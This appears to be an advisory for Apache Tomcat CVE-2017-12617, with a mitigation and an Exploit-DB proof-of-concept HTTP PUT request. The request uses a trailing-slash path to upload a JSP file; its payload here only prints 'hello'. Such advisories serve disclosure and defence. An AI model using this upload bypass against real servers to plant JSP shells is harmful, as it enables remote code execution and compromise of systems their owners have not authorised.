Apache Tomcat RCE CVE-2017-12617

Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request.

Mitigation:

Disable HTTP PUTs on the server, or restrict access to the server to trusted users.

Source

Exploit-DB raw data:

# E-DB Note: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html

When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. 
This JSP could then be requested and any code it contained would be executed by the server.

    The PoC is like this:
    
    PUT /1.jsp/ HTTP/1.1
    Host: 192.168.3.103:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://192.168.3.103:8080/examples/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
    Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
    Connection: close
    Content-Length: 26
    
    <% out.println("hello");%>

It is the bypass for CVE-2017-12615